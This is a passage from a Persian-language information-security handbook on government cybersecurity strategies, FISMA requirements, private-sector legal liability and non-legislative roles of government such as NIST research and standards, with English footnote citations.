بعد از همة اين تلاشها، يك مجموعة موضـوعي هماهنـگ و         
 ــ ــتراتژيهاي امني ــه از اس ــي،  يكپارچ ــطوح مل ــايبر در س ت س

  :اي و بين المللي بدست آمده است منطقه

 مشاركت بخشهاي عمومي و خصوصي •
امنيت سـايبر نيازمنـد همكـاري بخـشهاي عمـومي و            

 بخـش خـصوصي مـسئوليت اصـلي         ٤٩.خصوصي است 
هـاي خـود را بـر     اطمينان از امنيت سيـستمها و شـبكه     

 .عهده دارد

 آگاهي عمومي •
 از جملــه توليدكننــدگان، اســتفاده كننــدگان از شــبكه"

راهبران، اپراتورها و يا كاربران شخصي بايد نـسبت بـه           
پذيريهاي شـبكه آگـاه باشـند و          تهديدات وارده و آسيب   

                                                                  
46  Development of an Inter-American Strategy to 

Combat Threats to Cybersecurity, AG/RES. 
1939 (XXXIII-0/03) 

  . به تصويب رسيد۲۰۰۳ ژوئن ۱۰قطعنامه در جلسه چهارم در 
47  Organization for Eonomic Cooperation and 

Development 
48  Organization for Economic Cooperation & 

Development, OECD Guidelines for the 
Security of Information Systems & Networks: 
Towards a Culture of Security, July 25, 2002, 
http://www.oecd.org/pdf/M00034000/M000340
00.pdf 
Implementation Plans for the OECD 
Guidelines for the Security of Information 
Systems & Networks: Towards a Culture of 
Security, Organization for Economic 
Cooperation & Development, Working Party 
on Information Security & Privacy, 
DSTI/ICCP/REG(2002)6 
/FINAL, Jan. 21, 2003, 
http://www.olis.oecd.org/olis/2002doc.nsf/Link
To/dsti-iccp-reg(2002)6-final 

  :براي مشاهده جزئيات مراجعه كنيد به   ۴۹
APEC, "Statement on the Security of 
Information & Communications Infrastructure," 
Fifth APEC Ministerial Meeting on 
Telecommunications ans Information 
Industry,Shanghai, China, May 29-30, 2002, 
http://www.apecsec.org.sg/virtualib/minismtg/t
elminAnnexB_SICT.html 

توانيد به اين پاورقي در اصل كتاب مراجعه        براي اطلاعات بيشتر مي   
  :نسخه الكترونيكي كتاب در آدرس زير قابل دسترسي است. كنيد

http://www.infodev-security.net/handbook. 

https://telegram.me/karnil
www.karnil.com


  ي امنيت فناوري اطلاعاتراهنما

 

٢٤٠ 

مسئوليت حفاظت از شبكه را بر اساس موقعيتها و نقش          
  ٥٠."خود بر عهده گيرند

 المللي هاي بين تجربيات، راهبردها و استاندارد •
ساس تعداد رو به رشد استانداردها      امنيت سايبر بايد بر ا    

و الگوهاي سرآمدي، بـصورت داوطلبانـه و مبتنـي بـر            
وفاق جمعي تهيه شود و تجربيات از طريـق مؤسـسات           

. المللـي توسـعه يابـد       مشاور و سازمانهاي استاندارد بين    
اين استانداردها راهنماي مهمي براي سياستهاي داخلي       

 ـ    . دولت هستند  د اسـتانداردهاي   دولت نيازي ندارد و نباي
  ٥١.فني براي بخش خصوصي تعيين كند

 اشتراك اطلاعات •
 براي ايجاد امنيت سايبر      كاملاً مشخص شده كه تلاش    

پذيريها و حمـلات      توجهي كاربران نسبت به آسيب      با بي 
سـازمانهاي بخـش خـصوصي بايـد        . مواجه شده اسـت   

تشويق شوند كه اطلاعات رخدادهاي امنيتي را با سـاير      
 اين بخش، با دولت، و نيز با سـاير كـشورها            سازمانهاي

 .اشتراك بگذارند به

 آموزش و پرورش •
) APEC(استراتژيهاي سازمان همكاري اقتصادي آسـيا       

توسعة منابع انـساني بـراي بـه ثمـر رسـيدن        : "گويدمي
تلاشها در جهت ارتقاي سطح امنيـت امـري ضـروري           

بمنظور تـأمين امنيـت فـضاي سـايبر، دولتهـا و            . است
تهاي همكار آنها بايـد كاركنـان خـود را در مـورد             شرك

ــشتيباني از    ــا پ ــانوني ب ــي و ق ــدة فن موضــوعات پيچي

                                                                  
50  APEC Cybersecurity Strategy, 

http://www.apecsec.org.sg/content/apec/apec
_groups/working_groups/telecommunications
_and_information.html 
Council of European Union, Council 
Resolution of 28 January 2002 on a common 
approach & specific actions in the area of 
network & information security, (2002/C 43/02), 
http://www.europa.eu.int/information_society/e
europe/action_plan/safe/netsecres_en.pdf 

بعنوان مثال استراتژي ايالات متحده هم در مورد سيستمهاي دولتي             ۵۱
گويـد كـه    وصي است، اما چنـين مـي      و هم زيرساختهاي بخش خص    

دولت نبايد استانداردهاي امنيتي خود را به بخش خصوصي تحميـل           
  :براي اطلاعات بيشتر به منبع زير مراجعه كنيد. كند

The National Strategy to Secure Cyberspace 
[U.S.], February 2003, pp. 11, 15 
http://www.whitehouse.gov/pcipb 
http://www.dhs.gov/interweb/assetlibrary/Natio
nal_Cyberspace_Strategy.pdf 

زيرساختهاي حيـاتي و جـرائم فـضاي سـايبر آمـوزش            
 ."دهند

 ٥٢اهميت حريم خصوصي •
هـاي بـسيار حـساس شخـصي را          داده ICTهاي    شبكه

حريم خصوصي جزء   . سازند  دهند و ذخيره مي     انتقال مي 
در فضاي سـايبر اسـت و اسـتراتژيهاي         ضروري اعتماد   

امنيت فضاي سايبر بايد به روشهاي سازگار با ارزشهاي         
  ٥٣.سازي شودمهم جامعه پياده

 العمل پذيري، هشدار و عكس ارزيابي آسيب •
سازمان همكـاري اقتـصادي     همانطور كه استراتژيهاي    

مبارزة مؤثر با تخلفات فضاي سـايبر       : " ابراز داشت  آسيا  
طلاعـــات زيرســـاختي، وابـــسته بـــه و حفاظـــت از ا

ــابي   ــراي ارزي ــستمهايي ب ــصادهايي اســت كــه سي اقت
پـذيريها دارنـد و هـشدارهاي لازم را           تهديدها و آسـيب   

با شناسايي و اشتراك اطلاعات در مورد       . كنندصادر مي 
اي شـود،    يك تهديد قبل از آنكه موجب آسيب گسترده       

يالات  استراتژيهاي ا٥٤."شوندها بهتر محافظت مي شبكه
متحده از عموم صاحبنظران خواسته بود در ايجاد يـك          
سيستم كه در سطح ملي پاسخگوي امنيت سايبر باشـد          

اي  هـاي رايانـه   مشاركت كنند تا حملات وارد به شـبكه    
 .بسرعت شناسايي شوند

 المللي همكاري بين •
تر كـردن تبـادل نظـر و همكـاري در مـورد             براي ساده 

ن دولـت و بخـش      ميـا " فرهنگ امنيتـي  "گسترش يك   
المللي، دولتها بايـد بـا يكـديگر        خصوصي در سطح بين   

 كنند تـا بـراي جـرائم دنيـاي سـايبر قـوانين               همكاري
ســازگاري بــه تــصويب برســانند و نيروهــاي انتظــامي 

                                                                  
52  Respect for Privacy 
53  OECD Guidelines for the Security of 

Information Systems and Networks: Towards 
a Culture of Security, July 25, 2002, 
http://www.oecd.org/pdf/M00034000/M000340
00.pdf 

 ۴۸ اطلاعات بيـشتر بـه آدرسـهاي اينترنتـي پـاورقي شـماره               براي
  .مراجعه كنيد

54  APEC Cybersecurity Strategy, 
http://www.apecsec.org.sg/content/apec/apec
_groups/working_groups/telecommunications
_and_information.html 
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 امنيت فناوري اطلاعات و سياستهاي دولتي: بخش چهارم  ٢٤١

ش
بخ

 
رم
چها

  

المللـي  كشورهاي مختلف بايد از طريق سازمانهاي بين      
  ٥٥.به يكديگر كمك نمايند

 سايبر بـراي دولـت،      روند توسعه و اجراي استراتژيهاي امنيت     
عناصر مشتركي با توسعه و اجـراي برنامـة امنيـت سـايبر در              

 :ساير سازمانها و افراد حقوقي دارد

 پذيريها؛ ارزيابي آسيب •
 افزايش سطح آگاهي؛ •
ــاد    • ــراي ايج ــده ب ــوان فرمان ــر بعن ــاردن يكنف گم

 هماهنگي در سياستها؛
 ؛٥٦مديريت مخاطرهتوسعة برنامة  •
 مناسب؛هاي امنيتي مشيتطبيق خط •
 توجيه ساختاري؛ و •
 .اي و ارتقاي مداومارزيابي مجدد دوره •

ــارم  ــاز چه ــي  (ف ــت دولت ــستمهاي امني ــر سي ــز ب ــا تمرك ــلام ) ب اع
. هاي و تصويب قوانين مورد نياز امنيت سايبر اسـت          مشي خط

ــق چنــين       ــن و ايتاليــا از طري ــشورها مثــل ژاپ ــي ك برخ
سـال  در جـولاي    . انـد   هايي به اين موضوع پرداختـه      مشي خط

 كميتة ارتقاي امنيت فناوري اطلاعات ژاپـن در سـطح           ۲۰۰۰
كابينه راهبردهايي در مورد سياست امنيت فنـاوري اطلاعـات      

هـا خواسـته      اتخاذ كرد كه در آن از تمامي ادارات و وزارتخانه         
 يك ارزيابي در مـورد سياسـتهاي        ۲۰۰۳شده بود كه تا فوريه      

اي ديگـري نيـز     امنيت فناوري اطلاعات انجام دهند و گامه ـ      
شـوراي   ۲۰۰۱در مـارس    . براي ارتقاي سطح امنيتي بردارنـد     

 بــراي تمــام ٥٧وزارتــي گــسترش راهبــري مكــانيزه عمــومي
هاي امنيتـي  مشياندركاران دولتي فناوري اطلاعات خط     دست

 زمانيكه كنگرة ايالات متحده     ۲۰۰۲ در سال    ٥٨.منتشر ساخت 
امنيتـي  به اين نتيجه رسيد كه بخش اجرايـي دولـت، سـطح             

اي دولتي را به اندازة كافي ارتقا نداده است،           سيستمهاي رايانه 
 را ابـلاغ    ٥٩(FISMA) مديريت امنيت اطلاعات دولـت    مصوبة  

كرد تا نيازمنديها و روشهاي انجـام كـار در دولـت را روشـن               

                                                                  
55  Meeting of G8 Ministers of Justice & Home 

Affairs, Paris, May 5, 2003, 
http://www.g8.utoronto.ca/justice/justice03050
5.htm 

56  Risk Management 
57  Ministerial Council for Promoting the 

Digitization of Public Administration 
58  http://www.kantei.go.jp/foreign/it/ 

network/priority-all/7.html 
59  Federal Information Security Management Act 

 در تونس نيز مشابه همين مـسئله صـورت پـذيرفت و             ٦٠.كند
يت تصويب و ابلاغ     قوانيني در زمينة امن    ۲۰۰۲دولت در سال    

كرد كه طبق آن سازمانهاي دولتـي موظـف بودنـد بـصورت             
  . ساليانة امنيتي قرار گيرند٦١مميزيساليانه مورد 

سـازي اسـتراتژي امنيـت سـايبر در          پياده
   راهكار ايالات متحده-سيستمهاي دولتي

در ايالات متحده سياست امنيتي سيستمهاي اطلاعاتي دولت        
شده و از طريق مصوبة مـديريت       با جزئيات بيشتري مشخص     

 ٦٢.سازي شـده اسـت    پياده) ۲۰۰۲مصوب سال   (امنيت اطلاعات   
اين قانون برخي روشهاي اجرايي سياست امنيت سايبر را بـه           

شـوند در سـازمانهاي مختلـف       كشد كه باعث مـي      تصوير مي 
  .بوجود بيايد" پاسخگويي"

اي در گـسترة       مديريت امنيت رايانه   FISMAهدف مشخص   
شود همة تلاشهاي انجام شده بـراي       ست، و باعث مي   دولت ا 
ســازي اطلاعــات بــا يكــديگر هماهنــگ شــوند و نيــز ايمــن

راهكاري براي تهيه و پشتيباني حداقل كنترلهاي لازم جهـت          
قـانون  . حفاظت از سيستمهاي اطلاعاتي دولـت ارائـه گـردد         

حلهـاي مـؤثر و     كند كـه محـصولات تجـاري راه       تصديق مي 
 ـ   حلهـاي  سـازند و انتخـاب راه       ت فـراهم مـي    پويايي براي دول

افـزاري خـاص بـه سـازمانهاي          افـزاري و نـرم      امنيتي سـخت  
  .گردد تخصصي واگذار مي

FISMA گويد كه رئيس هـر سـازمان بايـد يـك برنامـة              مي
امنيت اطلاعات در حيطة سازمان خود تهيـه، مـستندسازي و           

 اي كه كارهاي سـازمان از جملـه آندسـته كـه      اجرا كند بگونه  
 ايـن   ٦٣.شـود را در بـر بگيـرد       توسط پيمانكاران مديريت مـي    
  :برنامه بايد شامل موارد زير باشد

ارزيابي متناوب مخاطرات و ميزان آسـيبي كـه ممكـن            •
اسـتفاده،   (٦٤دسترسـي غيرمجـاز   است به دلايلـي چـون       

                                                                  
60  Federal Information Security Management 

Act, Title III of E-Government Act of 2002, 
Pub. Law 107-347, 
http://csrc.nist.gov/policies/FISMA-final.pdf 

61  Auditing 
 :ي قبلي مراجعه شود، و نيزبه پاورق   ۶۲

http://www.fedcirc.gov/library/legislations/FIS
MA.html 

63  Title 44, United States Code, section 3544 
64  Unauthorized Access 
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  ي امنيت فناوري اطلاعاتراهنما

 

٢٤٢ 

بـه اطلاعـات واقـع      ) افشاسازي، اختلال، تغيير، يا پاك كردن     
 شود؛

 :ي كهتدوين سياستها و روالهاي •
o بر اساس فرآيند ارزيابي مخاطره هستند؛ 
o    هـاي مخـاطرات امنيتـي        منجر به كاهش هزينه

 شوند؛ مي
o  دهند كه امنيت اطلاعات در چرخـة       اطمينان مي

حيات سيستم اطلاعـاتي هـر سـازمان بـصورت          
 كامل درنظر گرفته شده است؛ و

o  دهند كـه الزامـات و اسـتانداردهاي        اطمينان مي
، OMB (٦٥ريـزي    و بودجـه   ادارة مـديريت  امنيتي  

 شود؛برآورده مي) بخشي از دفتر اجرايي رئيس جمهور

تهيــة طرحهــاي فرعــي بــراي فــراهم كــردن امنيــت   •
هـا، امكانـات، و       اطلاعات در سطح كافي بـراي شـبكه       

 سيستمها يا گروههاي سيستمهاي اطلاعاتي؛

هاي آموزشي براي افزايش آگاهي امنيتي      برگزاري دوره  •
پيمانكـــاران و ســـاير كـــاربران كاركنـــان ســـازمان، 

 كنند؛ سيستمهاي اطلاعاتي كه در سازمان كار مي

آزمودن و ارزيابي متناوب اثربخشي سياسـتهاي امنيـت          •
ــودن    ــامل آزم ــه ش ــات، ك ــا و تجربي ــات، رواله اطلاع

 باشد؛ كنترلهاي مديريتي، عملكردي و فني مي

يك فرآيند براي طراحي، اجرا، ارزيـابي و مـستندسازي           •
 ـ  اگزيري بـراي جبـران نقـائص در سياسـتها،          عمليات ن

 روالها، و عملكردهاي امنيت اطلاعاتي سازمان؛

روالهايي براي شناسـايي، گـزارش و پاسـخ بـه وقـايع              •
 امنيتي؛ و

طرحهــا و روالهــايي بــراي اطمينــان از تــداوم فعاليــت  •
  .سيستمهاي اطلاعاتي سازمان

در خــصوص كفايــت و اثربخــشي سياســتها، فرآينــدها و     
هاي امنيت اطلاعات، و همچنين ميزان تطابق آنها با         عملكرد

عناصر مورد نياز در برنامة امنيت اطلاعات، هر سـازمان بايـد            
ــه  ــديريت و بودج ــدة ادارة م ــه نماين ــهب ــزي و كميت ــاي  ري ه

بعـلاوه ميـزان    . اي، يك گـزارش سـاليانه ارائـه نمايـد           كنگره
و كفايت و تأثيرگذاري سياستهاي امنيـت اطلاعـات، رونـدها           

                                                                  
65  Office of Management and Budget 

عملكردها بايد در تعدادي از طرحهـا و گزارشـات ديگـر نيـز              
درنظر گرفته شود؛ از جملـه آندسـته كـه وابـسته بـه بودجـة                
ساليانة سازمان، مديريت مالي، حسابرسي داخلي و كنترلهـاي         

چنانچــه در سياســتها، روالهــا و عملكردهــا . راهبـري هــستند 
 مـديريت و    هرگونه اشكالي پيدا شود بايد اين اشكال به ادارة        

  .ريزي و كنگره گزارش گرددبودجه

سـاله ارزيـابي امنيتـي مـستقلي را بـراي           سازمانها بايـد همـه    
 عملكردهـاي مشخص كردن تأثير برنامة امنيت اطلاعـاتي و         

قـسمت اول   : هـر ارزيـابي دو قـسمت دارد       . خود ارائـه دهنـد    
ــت    ــاي امني ــدها و عملكرده ــتها، فرآين ــأثير سياس بررســي ت

ربخش سيـستمهاي اطلاعـاتي سـازمان؛ و        اطلاعاتي يك زي ـ  
قسمت دوم يك ارزيـابي از سياسـتها، روالهـا، اسـتانداردها و             

  ٦٦.هاي امنيت اطلاعات مرتبطمشيخط

FISMA     سازي تمامي سياسـتها     براي كسب اطمينان از پياده
و الگوهاي سرآمدي امنيت اطلاعات، نمايندة ادارة مديريت و         

سـازي همـة    هيـه و پيـاده    كنـد كـه ت    ريزي را ملزم مي   بودجه
. سياستها و عملكردهاي امنيت اطلاعـات را سرپرسـتي كنـد          

FIMSA   ــا و ــتانداردها، راهبرده ــه اس ــراي تهي ــين ب  همچن
 اختيـارات لازم را بـه       ٦٧پيشنيازهاي حداقلي امنيت اطلاعات،   

مؤسسه ملي علـوم و فنـاوري واگـذار كـرده و نماينـدة ادارة                
ند كه برآورده شـدن ايـن       كريزي را ملزم مي   مديريت و بودجه  

هاي امنيـت   نيازها را مديريت كند و حداقل سالي يكبار برنامه        
نماينــدة ادارة . اطلاعــات ســازمان را مــرور و اصــلاح نمايــد 

ريزي مسئول ارائه گزارش سـاليانه در مـورد         مديريت و بودجه  
  ٦٨.باشد بازده سازمان به كنگره مي

  

                                                                  
66  Title 44, United States Code, section 3545 
67  Title 40, United States Code, section 11331 
68  Title 44, United States Code, section 3543 
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  فصل سوم
نقش قانون و سياستهاي دولتي 

   بخش خصوصيبر

  انتقال مسئوليتهاي قانوني سنتي
  به حوزة فضاي سايبر

سازمانها براي پشتيباني امنيتي از سيستمهاي اطلاعاتي خـود         
انگيزة زيادي دارند، چراكه منافع آنها وابسته به ايـن موضـوع            

درصورتيكه يك شركت در برابر مشكلات فضاي سايبر      . است
مـستقيماً منـافع آنـرا    از خود محفاظت نكند، زيانهاي حاصـله   

توانند منجر    نفوذهاي امنيتي فضاي سايبر مي    . كنندتهديد مي 
دار شدن اعتبـار       تجاري يك شركت و خدشه      به توقف فعاليت  

اي شـركت ممكـن اسـت         حمله بـه شـبكة رايانـه      . آن گردند 
عمليات آنرا متوقف نمايد و باعث آسيب ديدن يا از بين رفتن            

هر شـركتي كـه بـه       .  تجاري شود  هاي مشتريان يا اسرار     داده
امنيت توجه لازم را اختصاص نداده باشد ممكن است تمـامي           
مشتريان خود را به رقبايي واگذار نمايد كه بـه امنيـت توجـه              

افزارهـا    هـا و نـرم      درصـورتيكه سـازندگان رايانـه     . كافي دارند 
محصولات ناامن توليد كنند ممكـن اسـت مـشتريان خـود را        

  .بسرعت از دست بدهند

علاوه بر فشارهايي كه از طـرف بـازار بـراي بـرآورده كـردن       
تواننـد در ايـن       آيد، قوانين نيز مـي    امنيت به توليدكنندگان مي   

  اي از شـركتها بـا مجموعـه     . زمينه يك عامل انگيزشي باشند    
مسئوليتهاي برآمده از مفاهيم سـنتي چـون قـوانين شـركتها،          

بـراي جبـران خـسارات    (قوانين قراردادها و قوانين پاسخگو بودن  
آنها همچنين قوانين جديدتر    . اندمواجه شده ) عمدي و غيرعمدي  

بهـادار در مبـادلات عمـومي و          نظير ثبت و فروش امن اوراق       
جلوگيري از معاملات فريبنـده و ناعادلانـه تجـاري را پـيش             

نحـوة تطبيـق ايـن مـسئوليتهاي سـنتي          . بينندروي خود مي  
سايبر توجه و تـلاش زيـادي را        قانوني به حوزة مسائل امنيت      

درحال حاضر سازمانهاي قانونگذار با     . معطوف خود كرده است   
هـاي  نامـه هـا و آيـين    وضع قوانين عمومي يا صدور بخشنامه     

كنند سيستمهاي قانونمند تجارت سـنتي را  موردي، تلاش مي 
در كـشورهايي كـه     . اي نيز اعمال كننـد      بر حوزة امنيت رايانه   
دهـد مفـاهيم كلـي       به قاضي اجـازه مـي      سيستم قضايي آنها  

تواننـد بـه      قانون را طبق شرايط جديد تفسير كند، قضات مـي         
حل مسائل و مشكلات حقوقي امنيت الكترونيكي كه نيازمند         

انگـاري  همچون سهل (گيري دربارة مفاهيم قانوني سنتي      تصميم
اي   پذيريهاي رايانـه    و آسيب ) يا عدم انجام وظايف محوله در قرارداد      

  .است كمك نمايند

با وجود اينكه چنـين ضـوابطي حتـي در قـوانين كـشورهاي              
شـود، بخـشي از تلاشـهاي         يافته نيز بندرت يافت مـي     توسعه

يافتـه و   نويسي هر كشور اعم از توسـعه      سياستگذاري و قانون  
درحال توسعه بايد صـرف مـسائل امنيـت الكترونيكـي شـود             

مفـاهيم قـانوني سـنتي در       مسائلي نظير توجه بـه چگـونگي اسـتفاده از           (
  ).اي مواردي چون تهديدها و مسئوليتها در حوزة امنيت رايانه

دهـيم كـه در       در اين بخش روشهايي را مورد بحث قرار مـي         
كنند كه  آنها سياستها و قوانين عمومي آنچنان توسعه پيدا مي        

در فصل چهارم   . اي نيز بكار روند     بتوانند در حوزة امنيت رايانه    
ولتي كه صرفاً براي ارتقاي امنيت الكترونيكي در        سياستهاي د 

  .گيرند اند نيز مورد بحث قرار مي بخش خصوصي طراحي شده

  قوانين مرتبط با ادارة سازمان، 
  حسابداري، و ثبت و فروش اوراق بهادار

طبق قوانين سازمان، مـديران و مـسئولان ممكـن اسـت در             
بيني دقيقي    قبال سازمان و سهامداران آن تعهد كنند كه پيش        

ايـن مـسئله بطـور      . از عمليات تجاري سـازمان ارائـه نماينـد        
بينـي، شـامل     اي درحال جا افتادن است كه اين پـيش        فزاينده

ــه  ــز مــي موضــوعاتي چــون امنيــت رايان برخــي . شــود اي ني
اند كه اگر مديران از برداشتن گامهاي         صاحبنظران متذكر شده  

داري كننــد، مناســب بــراي ارزيــابي تهديــدات امنيتــي خــود
درصورت متضرر شدن، در قبال سهامداران شـركت، مـسئول          

  .خواهند بود

در ايالات متحده اين نوع وظايف كه برخاسته از قـوانين عـام    
. انـد   شركتها هستند با تصويب قـوانين كيفـري تقويـت شـده           

ــانون  ــال  (Sarbanes-Oxleyقـ ــد )۲۰۰۲مـــصوب سـ ، چنـ
ــا    ــرد و ب ــل ك ــركتها تحمي ــه ش ــد ب ــدي جدي ــلام نيازمن  اع

هــاي امنيتــي در مقيــاس وســيع توجــه همگــان را   رســوايي

https://telegram.me/karnil
www.karnil.com


  ي امنيت فناوري اطلاعاتراهنما

 

٢٤٤ 

كنگره تصويب كرد كه امنيت الكترونيكـي بـراي         . برانگيخت
كنگره همچنين  . هاي مالي شركتها ضروري است      ارزيابي داده 

ارزيابي شركتها از نظر امنيـت سيـستمهاي اطلاعـاتي را نيـز             
مانهاي همچنين طبق قانون عام شركتها، سـاز      . الزامي دانست 

تجاري عمـومي بايـد توسـط حـسابرسان غيروابـسته تحـت             
درصـورتيكه حـسابرسان متوجـه    . حسابرسي مالي قرار گيرنـد   

پذيريهاي الكترونيكي اسناد مالي شركت را تهديد         شوند آسيب 
كننـد، شاخـصهاي امنيـت الكترونيكـي را نيـز بـه حيطـة           مي

تبط، تعدادي از سازمانهاي مر   . سازند  حسابرسي خود اضافه مي   
استانداردها و راهبردهايي را براي استفادة حـسابرسان ايجـاد          

  .اند كرده

  قانون قرارداد
ــرارداد، ســازمانها بايــد مــسئوليت دسترســي   طبــق قــانون ق
غيرقانوني يا آسيب ناشي از نقـائص امنيـت الكترونيكـي بـه             

طبق اين قانون، شركتي    . هاي مشتريان را بر عهده گيرند       داده
از يك سيستم ايمـن     "دارد    رونيكي اعلام مي  كه در متون الكت   

شود كـه بـا مـشتري خـود         ، اينگونه فرض مي   "برخوردار است 
وارد يك توافق دوطرفه شده كه طبق آن موظف به تعامل بـا             

ــي  ــن م ــشتريان در محيطــي ام ــد م ــالتي، . باش ــين ح در چن
درصورتيكه امنيت اطلاعات مشتري با حمـلات الكترونيكـي         

. تواند ادعـاي نقـض تعهـدات كنـد     ميبه خطر بيافتد مشتري  
نماينـد    همچنين شركتهايي كه خدمات مبتني بر وب ارائه مي        

ممكن است بر حسب قرارداد، مـسئوليت در دسـترس بـودن            
در اينحالت نيـز درصـورتيكه      . خدمات خود را بر عهده بگيرند     

 از فعاليت و ارائه     ٦٩تخريب سرويس پايگاه وب در اثر حملات      
شركت در معرض ادعـاي نقـض تعهـدات         سرويس باز بماند،    

  .توسط مشتريان قرار خواهد گرفت

  قانون جرائم غيرعمدي
مسئوليت مدني در قبـال     (از نظر حقوقي، مفهوم جرائم غيرعمدي       

اي بكـار     در مورد انواع آسيبهاي امنيت رايانه     ) خسارتهاي سهوي 
بعنوان مثال با درنظر گرفتن قانون سنتي جرائم براي         . رود  مي

اي، درصورتيكه شـركت اقـدامات منطقـي بـراي           رايانه جرائم
حفاظت از اطلاعات مشتري در مقابل حملات الكترونيكي در         
پيش نگيرد، ممكن است از طرف مـشتريان خـود بـا ادعـاي              

                                                                  
69  Denial of Service 

هـاي يـك شـركت        زمانيكه رايانـه  . نقض تعهدات روبرو شود   
براي انجام حملات الكترونيكي بـه يـك مقـصد ثالـث بكـار              

د، درصورتيكه اقدامات مؤثر بـراي جلـوگيري از   شون گرفته مي 
اي انجام نشده باشد، ممكن است شركت ميـاني           سرقت رايانه 

اي توسط يكي از كارمندان       زمانيكه حمله . مقصر شناخته شود  
پذيرد قربانيان ممكن است بـا اثبـات ايـن            شركت صورت مي  

موضوع شركت را متهم به ناديده گرفتن ضوابط و معيارهـاي           
  .ستخدامي يا نظارتي نمايندلازم ا

 كـه در بـسياري      -درحال حاضر حتي در ايالات متحده هـم         
 ايـن نـوع     -موارد، قوانين جرائم غيرعمـدي موجـود هـستند          

اند و تاكنون دادگاهها توجه به امنيت   قوانين چندان تهيه نشده   
با اينحال  . اند  شبكه را بعنوان يك وظيفة قانوني اعلام ننموده       

ت زمــان بتوانــد تئوريهــاي قــديمي     شــايد تنهــا گذشـ ـ  
در . اي كاربردي كنـد     پذيري را در حوزة امنيت رايانه      مسئوليت

اي را    توانند استانداردهاي امنيـت رايانـه     آن زمان دادگاهها مي   
از الگوهاي سرآمدي قانونگذاران و جامعة تجـاري دريابنـد، و           

قانونگـذار  -توانند توسـط سـازمانهاي خـود       استانداردها نيز مي  
  .صلاح شوندا
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  فصل چهارم
  سياستهاي امنيت سايبر دولت

اند كه بايد سياستهايي اتخـاذ كننـد كـه     دولتها بتدريج دريافته 
نظـر   بطور خاص موضوع امنيت سايبر بخش خصوصي را مد

اين امر ممكن است شـامل تطبيـق سـاير قـوانين            . قرار دهند 
بخش خصوصي براي سازگار شدن بـا مـسائل حـوزة امنيـت             

تجربه نشان داده كه يـك شـرط كليـدي          . اي نيز بشود   رايانه
قانونگــذاري موفــق ، محــدود كــردن قــوانين بــه شــرايط و  

با درنظر گـرفتن ايـن نكتـه، دولتهـا          . موقعيتهاي خاص است  
وظايف بخش خصوصي را بدون نگاه خـاص بـه فنـاوري يـا              

اي  در اروپا مسئوليت امنيت رايانـه    . انداستانداردها تعيين نموده  
   بر عهـدة تمـامي بخـشها گذاشـته         ٧٠حفاظت داده  هنمودردر  

اي را جـزء ثـابتي از         شده و دولت سنگاپور نيـز امنيـت رايانـه         
طـي سـالهاي اخيـر،      . نيازهاي بخش مالي قلمداد كرده است     

اي در    قوانين دولتي ايالات متحده مسئوليتهاي امنيـت رايانـه        
صنعت بانكداري و صنعت بهداشـت را بطـور شـفاف تعريـف             

شوند، اما    در ادامه اين موارد بطور مفصل تشريح مي       . اندودهنم
ابتدا به برخي نقشهاي مهم دولت در برابر بخـش خـصوصي            

  .پردازيم كه همگي غير از قانونگذاري هستند مي

  نقشهاي غيرتقنيني دولت
روشهاي مختلفي براي اعمال سياسـتهاي دولـت بـر امنيـت            

اين سياستها . رداي بخش خصوصي وجود دا     سيستمهاي رايانه 
همه از نوع قانونگذاري نيستند؛ بلكه بسياري از آنها كه شـايد     

  .توانند سياستهاي غيرتقنيني باشندتأثير بيشتري هم دارند مي

 يكي از نقـشهاي مهـم دولـت، تـأمين سـرمايه و          -تحقيق  
مؤسـسه ملـي    . اي اسـت    انجام تحقيق دربـاره امنيـت رايانـه       

 ســازمان ٧١)NIST ( تحــدهاســتاندارد و فنــاوري ايــالات م  
. غيرتقنيني دولـت در وزارت بازرگـاني ايـالات متحـده اسـت            

 تهيه و ارتقاي معيارها، استانداردها و فناوري        NISTمأموريت  
                                                                  
70  Data Protection Directive 
71   National Institute of Standards and 

Technology 

وري، تـسهيل تجـارت، و بهبـود كيفيـت            براي افزايش بهـره   
  .زندگي است

بــراي ارتقــاي امنيــت يــك  NISTاي  بخــش امنيــت رايانــه
  :پردازد ليتهاي زير ميسيستم اطلاعاتي به فعا

افــزايش آگــاهي دربــارة خطــرات فنــاوري اطلاعــات،   •
 پذيريها و نيازمنديهاي حفاظتي؛ آسيب

تحقيق، مطالعه و ارائه توصـيه بـه سـازمانهايي كـه در              •
 پذيريهاي فناوري اطلاعات هستند؛ معرض آسيب

ايجاد راهكارهايي براي برقراري امنيت در سيـستمهاي         •
 حساس دولت؛

هــاي  هــا، آزمونهــا و برنامــه نداردها، معيــارتهيــة اســتا •
گيري و ارزشيابي امنيـت       اعتبارسنجي براي ارتقا، اندازه   

 در سيستمها و سرويسها؛

تأمين حداقل نيازمنـديهاي امنيتـي بـراي سيـستمهاي           •
 دولت؛

كردن فرآيندهاي طراحي،   ارائه راهنماييهايي براي ايمن    •
 اطلاعات؛سازي، مديريت، و نيز عمليات فناوري  پياده

در انتشار عمومي نتايج تحقيقات، سازمانهاي دولتي بايـد بـه           
يك مثال خوب   . كاري غلبه كنند  نوعي بر ميل خود به مخفي     

در اين زمينه، سـازمان فـوق سـري امنيـت ملـي در ايـالات                
هاي امنيتـي خـود را بـراي دسترسـي            متحده است كه توصيه   

  .استهمگان در پايگاه وب عمومي سازمان قرار داده 

گيرنـدگان   دولت همچنين يكـي از تـصميم       -استانداردها  
ــت    ــصوصي اس ــش خ ــتانداردهاي بخ ــين اس ــم در تعي . مه

استانداردسازي يك فرآيند غير تقنيني، داوطلبانه و مبتنـي بـر     
توانند در اين   وفاق جمعي است، اما متخصصان دولتي هم مي       

 بويژه اگـر دولـت از انجـام تحقيقـات           -زمينه مشاركت كنند    
  .اي بخش دولتي حمايت كند امنيت رايانه

 يكي ديگر از نقشهاي     :سازي  آگاهي، آموزش و ظرفيت   
غيرتقنيني دولت، آموزش عمـومي و همكـاري بـا بخـشهاي            

پـذيريها و     خصوصي براي ارتقـاي آگـاهي نـسبت بـه آسـيب           
مطالعات موردي و گزارشهايي مانند    . روشهاي پيشگيري است  

ند، از ابزارهـاي اجرايـي ايـن        آنچه كه پيشتر توضيح داده شد     
كميسيون اروپا از اعضاي خـود خواسـته كـه          . باشندهدف مي 
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اي براي آموزش و آگاهي عمومي تدوين كنند كه همة          برنامه
ارائــه گزارشــها و  . طيفهــاي مخــاطبين را در بــر بگيــرد   

استراتژيهاي مذكور به مجامع متخصصين در افزايش آگـاهي         
 بورسـهاي تحـصيلي و      آموزش همچنـين شـامل    . مؤثر است 

اي و افزايش سطح دانش منابع انساني نيـز         هاي توسعه   برنامه
 كشورهاي عضو توصيه كرده كـه        كميسيون اروپا به  . باشد  مي

